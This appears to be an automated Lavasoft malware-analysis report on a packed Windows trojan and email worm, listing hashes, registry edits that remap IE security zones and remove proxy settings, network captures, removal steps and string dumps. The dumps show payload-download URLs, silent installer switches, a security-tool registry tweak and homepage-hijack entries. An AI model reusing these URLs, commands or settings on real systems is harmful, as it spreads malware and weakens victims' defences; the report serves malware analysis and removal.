Gen:Variant.Mikey.11985 (B) (Emsisoft), Gen:Variant.Mikey.11985 (AdAware), Trojan.Win32.FlyStudio.FD, mzpefinder_pcap_file.YR, GenericEmailWorm.YR (Lavasoft MAS)Behaviour: Trojan, Worm, EmailWorm
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 19dbeae3a787a61f5d606460dce055c5
SHA1: f85beb0efb7912f90d9a0cf37d3d40dff1741718
SHA256: 9ab65b66d6280ebb664ae99d9ba450f076dd879125ff3ba4f76073837b33229b
SSDeep: 1536:WG0RwpbLLWVoxUTr sv/9qBf8sb3Er4RJUqP8aNiPu0nd0nW8We3:WP pbPWV83QB5tWq0l7dEv3
Size: 114228 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: ASPackv212, UPolyXv05_v6
Company: no certificate found
Created at: 2015-03-19 15:41:38
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
| Behaviour | Description |
|---|---|
| EmailWorm | Worm can send e-mails. |
Process activity
The Trojan creates the following process(es):
%original file name%.exe:1088
The Trojan injects its code into the following process(es):
pack.exe:264
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:1088 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
The process pack.exe:264 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\zy[1] (272640 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\uc1[1] (930564 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\ky[1] (87338 bytes)
Registry activity
The process %original file name%.exe:1088 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 28 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "55 66 54 84 AC 71 B0 33 C5 0C 80 95 E4 55 4E A9"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process pack.exe:264 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 29 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F0 D6 96 34 9F 59 1C F6 D5 30 7E 1E 4D F8 62 A3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
There are no dropped PE files.
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:1088
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\zy[1] (272640 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\uc1[1] (930564 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\ky[1] (87338 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name:
Product Name:
Product Version: 2.6.0.0
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.6.0.0
File Description: update
Comments:
Language: English (United States)
Company Name: Product Name: Product Version: 2.6.0.0Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: 2.6.0.0File Description: updateComments: Language: English (United States)
PE Sections
| Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
|---|---|---|---|---|---|
| .text | 4096 | 176128 | 71168 | 5.54078 | 477b72a8a3d39ce394283c4e7f3b1ece |
| .rdata | 180224 | 24576 | 7680 | 5.45775 | e84022fb32c23e63bc2a811b8b63fdc1 |
| .data | 204800 | 188416 | 5632 | 5.44105 | 064ca3081e4bc5be70791b085d0c4084 |
| .rsrc | 393216 | 20480 | 1024 | 1.97035 | 6d49787551d0df21e09862a8b7a1d89a |
| .aspack | 413696 | 24576 | 21504 | 2.99287 | 364a3ddfa584f9ce9a9390ea969e62f7 |
| .adata | 438272 | 4096 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
| URL | IP |
|---|---|
| hxxp://218.30.115.254/dreamcrydc | |
| hxxp://qiniunor.xdwscache.ourglb0.com/p | |
| hxxp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/ky2/ky?public&code=39fb8b340dbdf91bfa4cff7423147311 | |
| hxxp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc1?public&code=4920014f1661ee276c5f76c3c78da609 | |
| hxxp://blog.sina.com.cn/dreamcrydc | |
| hxxp://deng.qiniudn.com/p | 115.231.158.70 |
| z11.cnzz.com | 1.122.192.16 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc1?public&code=4920014f1661ee276c5f76c3c78da609 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 180.153.147.73
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 10 Nov 2015 00:50:03 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8zb mod_jk/1.2.31
Content-Disposition: attachment; filename="uc1"
Accept-Ranges: bytes
x-cdmi-object-size: 10620702
x-cdmi-create-time: 2015-10-29 11:48:02
Content-Length: 10620702
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream;charset=UTF-8
........Q...list_soft.xml.......................................................................................................................................................................................................................................................t...bluebox.png.........................................................................................................................................................................................................................................................g...ucweb.png............................................................................................................................................................................................................................................................0O.BlueBoxSetup.exe....................................................................................................................................................................................................................................................P.}.Browser_V3.2.2937.0_f_4070_(Build14120411).exe.........................................................................................................................................................................................................................<?xml version="1.0" encoding="UTF-8" ?>..<Profile>.. <SoftwareList SuitLabel="............;QQ......;360......;">.. <Group GroupId="0" name="............">.. <
<<< skipped >>>
GET /p HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: deng.qiniudn.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Tue, 10 Nov 2015 01:17:20 GMT
Server: nginx/1.4.4
Content-Type: application/x-msdownload
Content-Length: 479056
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 2592000
Cache-Control: public, max-age=31536000
Content-Disposition: inline; filename="p"
Content-Transfer-Encoding: binary
ETag: "FiRROe98XfzKJuEHdzWe93IHPNu0"
Last-Modified: Mon, 09 Nov 2015 13:52:57 GMT
X-Log: mc.g;IO:2
X-Reqid: NiAAAE_F3aJOLxUU
X-Qiniu-Zone: 0
X-Via: 1.1 xxxz56:8107 (Cdn Cache Server V2.0), 1.1 wenzhou152:3 (Cdn Cache Server V2.0)
Connection: keep-alive
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................r.......r...........?.......*.......................f...................6.......Rich............PE..L.....@V.....................0....................@.......................... %.....c.........................................%./.....$..\...........0..P............................................................................................text.....$.............PEC2^O...... ....rsrc....p....$..n.................. ............................................................................................................................................................................................................................................................................................................................................................................................................................................x.e.Pd.5....d.%....3...PECompact2....9.Q..)y.<...v....09../-R..."4...-.R...T.3..w.!.N"..A....C.q....]..5..q.h!1,.;.tZ..r....B.$...X.../1..z.....7xq..)qH..y..,..h.:.Z.94m....v...U.......Y........5.W9`.....a..>.Y.._.......@f.'.T.....vQ.^...:........S.......$:qy....y.Cz...o...b4.....m..`..l.....\e.O..mzm..5..\p.r5..WC.{...Z.R%..Y...=..;M.P=.:.4....."X.>..r....1.%.<...g=.3.wA...e..Jd..K.n....\..x...S`%D.q.g......4V...`...[1.{......Sj.J......M.=..r'.K.E.R..v...U=.-v.cMI..9.r .Ks?..S.J.#.^:B..1..2...
<<< skipped >>>
GET /dreamcrydc HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: blog.sina.com.cn
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.2.8
Date: Tue, 10 Nov 2015 01:17:18 GMT
Content-Type: text/html
Content-Length: 12030
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Cache-Control: no-cache
Expires: Tue, 10 Nov 2015 01:17:17 GMT
Last-Modified: Sun, 08 Nov 2015 19:31:31 GMT 8
DPOOL_HEADER: 10.55.27.43
SINA-LB: aGwuOTAuc2c1LmphLmxiLnNpbmFub2RlLmNvbQ==
SINA-TS: ZGFmOWU0Y2UgMCAxIDEgMTAgMTE4Cg==
Age: 135947
X-Cache: HIT from blog-front006.blog.ja.sinanode.com
Cache-Control:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xhtml">.<head>.<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />.<title>......DC_............</title>.<meta name="keywords" content="......DC_............,......DC" />.<meta name="description" content="......DC_............,......DC,........." />.<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />.<meta http-equiv="mobile-agent" content="format=html5; url=hXXp://blog.sina.cn/dpool/blog/u/3945174853">.<meta http-equiv="mobile-agent" content="format=wml; url=hXXp://blog.sina.cn/dpool/blog/ArtList.php?uid=3945174853&vt=1">.<!...[if lte IE 6]>.<script type="text/javascript">.try{.document.execCommand("BackgroundImageCache", false, true);.}catch(e){}.</script>.<![endif]...>.<script type="text/javascript">.window.staticTime=new Date().getTime();.</script>.<link rel="pingback" href="hXXp://upload.move.blog.sina.com.cn/blog_rebuild/blog/xmlrpc.php" />.<link rel="EditURI" type="application/rsd xml" title="RSD" href="hXXp://upload.move.blog.sina.com.cn/blog_rebuild/blog/xmlrpc.php?rsd" />.<link href="hXXp://blog.sina.com.cn/blog_rebuild/blog/wlwmanifest.xml" type="application/wlwmanifest xml" rel="wlwmanifest" />.<link rel="alternate" type="application/rss xml" href="hXXp://blog.sina.com.cn/rss/3945174853.xml" title
<<< skipped >>>
GET /fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/ky2/ky?public&code=39fb8b340dbdf91bfa4cff7423147311 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 180.153.147.73
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 10 Nov 2015 00:50:03 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8zb mod_jk/1.2.31
Content-Disposition: attachment; filename="ky"
Accept-Ranges: bytes
x-cdmi-object-size: 7584192
x-cdmi-create-time: 2015-10-31 19:43:32
Content-Length: 7584192
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream;charset=UTF-8
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Z\.;;2H;;2H;;2H..\H:;2H.t.H3;2H2C.H.;2H2C.Ht;2H%i.H?;2H2C.H.:2H.._H*;2H;;3H292H..IH.;2H2C.H.;2H2C.H:;2H%i.H:;2H;;.H:;2H2C.H:;2HRich;;2H........PE..L.....)V.................n....b...................@..........................@t......ht...@.........................P...:u..L...h....0..P.[...........s.......s.....................................h...@............................................text...~l.......n.................. ..`.rdata...............r..............@..@.data...T....`...R...N..............@....rsrc...P.[..0....[.................@..@.reloc...!....s.."...zr.............@..B................................................................................................................................................................................................................................................................................................................U..Q.M..E.P.M..=.....]..........U......M..E.P.M.. ........t#.U.R.M..h....M. .Q.U.R.M..&.........E.... H.;M.v..U..B..E..M.;A.s.......}..vY.U..B..E..E.j..M.Q.M...........t8.E.P.M.Q.U..E..J. H.Q.M.......U..B.P.] ......E.P.M... ...E...]........U..Q.M..E.P.@!.....P.M.Q.M........].............U..Q.M..E.P.M..}...P.M..4....E...]..............U..Q.M..E.P.M..M....M..A.P.M.......E...]........U..Q.M..M........]..............U..Q.M..E..@...]................U..Q.M.j..E.P.M........]........U......M..E..H.;M.w5.U..B.;E.t*.
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
pack.exe_264:
.text
.text
`.rsrc
`.rsrc
t$(SSh
t$(SSh
~%UVW
~%UVW
.tTPV
.tTPV
FTPjK
FTPjK
FtPj;
FtPj;
F.PjRWj
F.PjRWj
u.WWj
u.WWj
u.VVj
u.VVj
u$SShe
u$SShe
user32.dll
user32.dll
urlmon
urlmon
ole32.dll
ole32.dll
shell32.dll
shell32.dll
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
RegOpenKeyA
RegOpenKeyA
RegEnumKeyA
RegEnumKeyA
URLDownloadToFileA
URLDownloadToFileA
D:\dream
D:\dream
D:\dream\win1.log
D:\dream\win1.log
D:\dream\winky.log
D:\dream\winky.log
360tray.exe
360tray.exe
D:\dream\winzy.log
D:\dream\winzy.log
C:\Users\Public\Desktop\UC
C:\Users\Public\Desktop\UC
%Documents and Settings%\All Users\
%Documents and Settings%\All Users\
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Uninstall\
Software\Microsoft\Windows\CurrentVersion\Uninstall\
Windows
Windows
C:\Users\Public\Desktop\QQ
C:\Users\Public\Desktop\QQ
C:\Users\Public\Desktop\
C:\Users\Public\Desktop\
D:\dream\b2.bat
D:\dream\b2.bat
D:\dream\2k
D:\dream\2k
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/2k2/2k?public&code=fc2d8fa2450ac946c7590ef0ace43135
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/2k2/2k?public&code=fc2d8fa2450ac946c7590ef0ace43135
D:\dream\2345pic_k1252705.exe
D:\dream\2345pic_k1252705.exe
D:\dream\2345pic_k1252705.exe -s1
D:\dream\2345pic_k1252705.exe -s1
2345pic_k1252705.exe
2345pic_k1252705.exe
C:\Users\
C:\Users\
%Documents and Settings%\
%Documents and Settings%\
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_USERS\S-1-5-21-4278381565-3782908184-2563460023-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_USERS\S-1-5-21-4278381565-3782908184-2563460023-1000\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_USERS\S-1-5-21-442436397-1971995177-210813084-500\Software\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_USERS\S-1-5-21-442436397-1971995177-210813084-500\Software\Microsoft\Windows\CurrentVersion\Uninstall
D:\dream\1.bat
D:\dream\1.bat
hXXp://z4.cnzz.com/stat.htm?id=1254275459
hXXp://z4.cnzz.com/stat.htm?id=1254275459
WinHttp.WinHttpRequest.5.1
WinHttp.WinHttpRequest.5.1
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
D:\dream\ky
D:\dream\ky
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/ky2/ky?public&code=39fb8b340dbdf91bfa4cff7423147311
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/ky2/ky?public&code=39fb8b340dbdf91bfa4cff7423147311
D:\dream\Kuaizip_Setup_union123_0088.exe
D:\dream\Kuaizip_Setup_union123_0088.exe
D:\dream\Kuaizip_Setup_union123_0088.exe /JingMo
D:\dream\Kuaizip_Setup_union123_0088.exe /JingMo
D:\dream\ky.bat
D:\dream\ky.bat
hXXp://z13.cnzz.com/stat.htm?id=1256550373
hXXp://z13.cnzz.com/stat.htm?id=1256550373
D:\dream\zy
D:\dream\zy
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/zy2/zy?public&code=94979ed818604a3f6632db70c4686078
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/zy2/zy?public&code=94979ed818604a3f6632db70c4686078
D:\dream\lgezy
D:\dream\lgezy
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/3/lge?public&code=84c5751f6a57ab5839dc76a83b46d24d
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/3/lge?public&code=84c5751f6a57ab5839dc76a83b46d24d
D:\dream\BlueInstaller_bsvalkkx_101101_.exe
D:\dream\BlueInstaller_bsvalkkx_101101_.exe
D:\dream\BlueResource.bpk
D:\dream\BlueResource.bpk
C:\Users\Public\Desktop\hao123
C:\Users\Public\Desktop\hao123
set "w71=Microsoft\Windows\Start Menu\Programs"
set "w71=Microsoft\Windows\Start Menu\Programs"
set "w72=Microsoft\Windows\Start Menu"
set "w72=Microsoft\Windows\Start Menu"
"%USERPROFILE%\%xp1%"
"%USERPROFILE%\%xp1%"
"%ALLUSERSPROFILE%\%xp1%"
"%ALLUSERSPROFILE%\%xp1%"
"%USERPROFILE%\%xp2%"
"%USERPROFILE%\%xp2%"
"%ALLUSERSPROFILE%\%xp2%"
"%ALLUSERSPROFILE%\%xp2%"
reg add "HKEY_CURRENT_USER\Software\HomeSafe" /v "StartFlagNoTip" /t REG_DWORD /d 1 /f
reg add "HKEY_CURRENT_USER\Software\HomeSafe" /v "StartFlagNoTip" /t REG_DWORD /d 1 /f
D:\dream\zy.bat
D:\dream\zy.bat
hXXp://z11.cnzz.com/stat.htm?id=1256550363
hXXp://z11.cnzz.com/stat.htm?id=1256550363
D:\dream\uc1
D:\dream\uc1
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc1?public&code=4920014f1661ee276c5f76c3c78da609
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc1?public&code=4920014f1661ee276c5f76c3c78da609
D:\dream\uc2
D:\dream\uc2
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc2?public&code=aee9f4689bf38dc8ed8798557f99fc1e
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc2?public&code=aee9f4689bf38dc8ed8798557f99fc1e
D:\dream\uc3
D:\dream\uc3
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc3?public&code=9e2daf370bb626b150e2632982713131
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc3?public&code=9e2daf370bb626b150e2632982713131
D:\dream\uc4
D:\dream\uc4
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc4?public&code=477f04f9957303bb4bdb48129dce1667
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc4?public&code=477f04f9957303bb4bdb48129dce1667
D:\dream\uc5
D:\dream\uc5
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc5?public&code=33abc4df613448c4d0a5e5a96af653dd
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc5?public&code=33abc4df613448c4d0a5e5a96af653dd
D:\dream\uc6
D:\dream\uc6
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc6?public&code=68fd52b4583e5ce722c5b1ef3c2155cc
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/uc3/uc6?public&code=68fd52b4583e5ce722c5b1ef3c2155cc
D:\dream\lgeuc
D:\dream\lgeuc
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/lge/lge?public&code=411f778b2af125c63e48c0bafb370ced
hXXp://180.153.147.73/fsintf/c9f2549fce18f4dc4ae13d6a6527d9c4e/5/lge/lge?public&code=411f778b2af125c63e48c0bafb370ced
D:\dream\uc.bat
D:\dream\uc.bat
" URL="hXXp://VVV.hao123.com/?tn=96468612_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=96468612_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=97215765_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=97215765_hao_pg" IsLock="TRUE" />
" URL="hXXp://hao.360.cn/?src=lm&ls=n6f9da49b8f" IsLock="TRUE" />
" URL="hXXp://hao.360.cn/?src=lm&ls=n6f9da49b8f" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=96074770_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=96074770_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=96982550_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=96982550_hao_pg" IsLock="TRUE" />
" URL="hXXp://VVV.hao123.com/?tn=95621234_hao_pg" IsLock="TRUE" />
